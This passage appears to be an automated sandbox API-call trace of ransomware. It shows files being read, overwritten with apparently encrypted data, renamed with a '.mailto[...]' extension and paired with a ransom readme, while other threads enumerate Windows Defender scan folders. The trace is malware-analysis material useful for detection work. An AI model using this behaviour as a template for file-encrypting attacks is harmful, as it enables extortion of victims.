"c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\qbnozpyifc1a.m4a")) returned 0x20 [0084.286] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a", dwFileAttributes=0x20) returned 1 [0084.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\qbnozpyifc1a.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8cc [0084.286] GetFileSizeEx (in: hFile=0x8cc, lpFileSize=0x2a73faf4 | out: lpFileSize=0x2a73faf4*=39227) returned 1 [0084.286] SetFilePointerEx (in: hFile=0x8cc, liDistanceToMove=0x9937, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.286] ReadFile (in: hFile=0x8cc, lpBuffer=0x2a73fac8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a73fac4, lpOverlapped=0x0 | out: lpBuffer=0x2a73fac8*, lpNumberOfBytesRead=0x2a73fac4*=0x4, lpOverlapped=0x0) returned 1 [0084.287] SetFilePointerEx (in: hFile=0x8cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.287] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.287] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0084.287] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342da00 [0084.287] NtQuerySystemTime (in: CurrentTime=0x2a73faa0 | out: CurrentTime=0x2a73faa0*=132121176421797689) returned 0x0 [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x9a9ddc43 [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0xf698c80 [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0xd16ba20 [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x36156940 [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x87204db [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0xe424d00 [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x43e45ce9 [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x9d5e6e0a [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x46ccb7ad [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x6c6f6248 [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x9ede14c0 [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x8fb8646 [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x3c393743 [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0xe4a16552 [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x7699f66e [0084.287] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x7f1913ea [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x3ba2cd65 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x24e8a695 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0xe3460fc6 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0xabe40c20 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0xd90a155d [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x7bc7d695 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x23bcba65 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x67c00869 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x7f82bf0 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0xa28fbb39 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0xf87be862 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0xae2e1649 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x748207fb [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0xab7a8da9 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0x5d1b0b83 [0084.288] RtlRandom (in: Seed=0x2a73faac | out: Seed=0x2a73faac) returned 0xda8c22e0 [0084.299] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.299] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.299] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.299] SetFilePointerEx (in: hFile=0x8cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.299] ReadFile (in: hFile=0x8cc, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a73fa78, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2a73fa78*=0x4096, lpOverlapped=0x0) returned 1 [0084.299] SetFilePointerEx (in: hFile=0x8cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.299] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.299] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.299] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342daf0 [0084.299] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342daf0) returned 1 [0084.299] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbe0 [0084.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.300] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.300] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.300] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.300] WriteFile (in: hFile=0x8cc, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a73fa78, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2a73fa78*=0x4096, lpOverlapped=0x0) returned 1 [0084.300] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.300] SetFilePointerEx (in: hFile=0x8cc, liDistanceToMove=0x993b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.300] WriteFile (in: hFile=0x8cc, lpBuffer=0x342dbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a73fab0, lpOverlapped=0x0 | out: lpBuffer=0x342dbe0*, lpNumberOfBytesWritten=0x2a73fab0*=0x20, lpOverlapped=0x0) returned 1 [0084.300] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbe0) returned 1 [0084.300] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.300] WriteFile (in: hFile=0x8cc, lpBuffer=0x342dac8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a73fac4, lpOverlapped=0x0 | out: lpBuffer=0x342dac8*, lpNumberOfBytesWritten=0x2a73fac4*=0x8, lpOverlapped=0x0) returned 1 [0084.300] WriteFile (in: hFile=0x8cc, lpBuffer=0x2a73fadc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a73fac4, lpOverlapped=0x0 | out: lpBuffer=0x2a73fadc*, lpNumberOfBytesWritten=0x2a73fac4*=0x4, lpOverlapped=0x0) returned 1 [0084.300] WriteFile (in: hFile=0x8cc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a73fac4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a73fac4*=0x4, lpOverlapped=0x0) returned 1 [0084.300] WriteFile (in: hFile=0x8cc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a73fac4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a73fac4*=0x6c, lpOverlapped=0x0) returned 1 [0084.301] WriteFile (in: hFile=0x8cc, lpBuffer=0x342d988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a73fac4, lpOverlapped=0x0 | out: lpBuffer=0x342d988*, lpNumberOfBytesWritten=0x2a73fac4*=0x20, lpOverlapped=0x0) returned 1 [0084.301] WriteFile (in: hFile=0x8cc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a73fac4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a73fac4*=0x4, lpOverlapped=0x0) returned 1 [0084.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342daa0) returned 1 [0084.301] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.301] CloseHandle (hObject=0x8cc) returned 1 [0085.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf6) returned 0x34961b8 [0085.752] wcscpy (in: _Dest=0x34961b8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a" [0085.752] wcscat (in: _Dest=0x34961b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731" [0085.752] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\qbnozpyifc1a.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\qbnozpyifc1a.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.516] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0088.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34961b8) returned 1 [0088.516] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a", dwFileAttributes=0x20) returned 0 [0088.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3430f80 [0088.516] wcscpy (in: _Dest=0x3430f80, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0088.516] wcscat (in: _Dest=0x3430f80, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" [0088.516] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt")) returned 0x20 [0088.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430f80) returned 1 [0088.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34308c0) returned 1 [0088.516] RtlExitUserThread (Status=0x1) Thread: id = 1206 os_tid = 0x100c [0084.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2450 [0084.301] wcscpy (in: _Dest=0x33e2450, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\Data") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\Data" [0084.301] wcscat (in: _Dest=0x33e2450, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\Data\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\Data\\" [0084.301] wcscat (in: _Dest=0x33e2450, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\Data\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\Data\\*" [0084.301] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a17e8 [0084.301] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\RtSigs\\Data\\*", lpFindFileData=0x34a17e8 | out: lpFindFileData=0x34a17e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fafccda, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a8e638, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fafccda, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0658 [0086.600] wcscmp (_String1=".", _String2=".") returned 0 [0086.601] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34a17e8 | out: lpFindFileData=0x34a17e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fafccda, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a8e638, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fafccda, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.601] wcscmp (_String1="..", _String2=".") returned 1 [0086.601] wcscmp (_String1="..", _String2="..") returned 0 [0086.601] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34a17e8 | out: lpFindFileData=0x34a17e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fafccda, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a8e638, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2fafccda, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.601] FindClose (in: hFindFile=0x33e0658 | out: hFindFile=0x33e0658) returned 1 [0086.601] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a17e8) returned 1 [0086.601] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2450) returned 1 [0086.601] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f3d0) returned 1 [0086.601] RtlExitUserThread (Status=0x0) Thread: id = 1207 os_tid = 0x1014 [0084.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e24e0 [0084.302] wcscpy (in: _Dest=0x33e24e0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\1" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\1") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\1" [0084.302] wcscat (in: _Dest=0x33e24e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\1\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\1\\" [0084.303] wcscat (in: _Dest=0x33e24e0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\1\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\1\\*" [0084.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a1a50 [0084.303] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\1\\*", lpFindFileData=0x34a1a50 | out: lpFindFileData=0x34a1a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29dbfd0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0658 [0086.597] wcscmp (_String1=".", _String2=".") returned 0 [0086.597] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34a1a50 | out: lpFindFileData=0x34a1a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29dbfd0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.597] wcscmp (_String1="..", _String2=".") returned 1 [0086.597] wcscmp (_String1="..", _String2="..") returned 0 [0086.597] FindNextFileW (in: hFindFile=0x33e0658, lpFindFileData=0x34a1a50 | out: lpFindFileData=0x34a1a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29dbfd0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.597] FindClose (in: hFindFile=0x33e0658 | out: hFindFile=0x33e0658) returned 1 [0086.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a1a50) returned 1 [0086.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e24e0) returned 1 [0086.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f348) returned 1 [0086.597] RtlExitUserThread (Status=0x0) Thread: id = 1208 os_tid = 0x1018 [0084.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2570 [0084.303] wcscpy (in: _Dest=0x33e2570, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2" [0084.303] wcscat (in: _Dest=0x33e2570, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\" [0084.303] wcscat (in: _Dest=0x33e2570, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\*" [0084.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a1cb8 [0084.303] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\*", lpFindFileData=0x34a1cb8 | out: lpFindFileData=0x34a1cb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29dc87e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3198210, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e05d8 [0088.250] wcscmp (_String1=".", _String2=".") returned 0 [0088.250] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x34a1cb8 | out: lpFindFileData=0x34a1cb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc29dc87e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3198210, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.250] wcscmp (_String1="..", _String2=".") returned 1 [0088.251] wcscmp (_String1="..", _String2="..") returned 0 [0088.251] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x34a1cb8 | out: lpFindFileData=0x34a1cb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fdfe49b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a331af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7710f5c8, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="94", cAlternateFileName="")) returned 1 [0088.251] wcscmp (_String1="94", _String2=".") returned 1 [0088.251] wcscmp (_String1="94", _String2="..") returned 1 [0088.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e29f0 [0088.251] wcscpy (in: _Dest=0x33e29f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2" [0088.251] wcscat (in: _Dest=0x33e29f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\" [0088.251] wcscat (in: _Dest=0x33e29f0, _Source="94" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\2\\94" [0088.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e29f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0088.670] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x34a1cb8 | out: lpFindFileData=0x34a1cb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fdfe49b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2a331af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7710f5c8, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="94", cAlternateFileName="")) returned 0 [0088.670] FindClose (in: hFindFile=0x33e05d8 | out: hFindFile=0x33e05d8) returned 1 [0088.670] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a1cb8) returned 1 [0088.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2570) returned 1 [0088.674] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f2c0) returned 1 [0088.674] RtlExitUserThread (Status=0x0) Thread: id = 1209 os_tid = 0x1020 [0084.304] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2600 [0084.304] wcscpy (in: _Dest=0x33e2600, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\3" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\3") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\3" [0084.304] wcscat (in: _Dest=0x33e2600, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\3\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\3\\" [0084.304] wcscat (in: _Dest=0x33e2600, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\MetaStore\\3\\*") returned="C:\\Users\\All 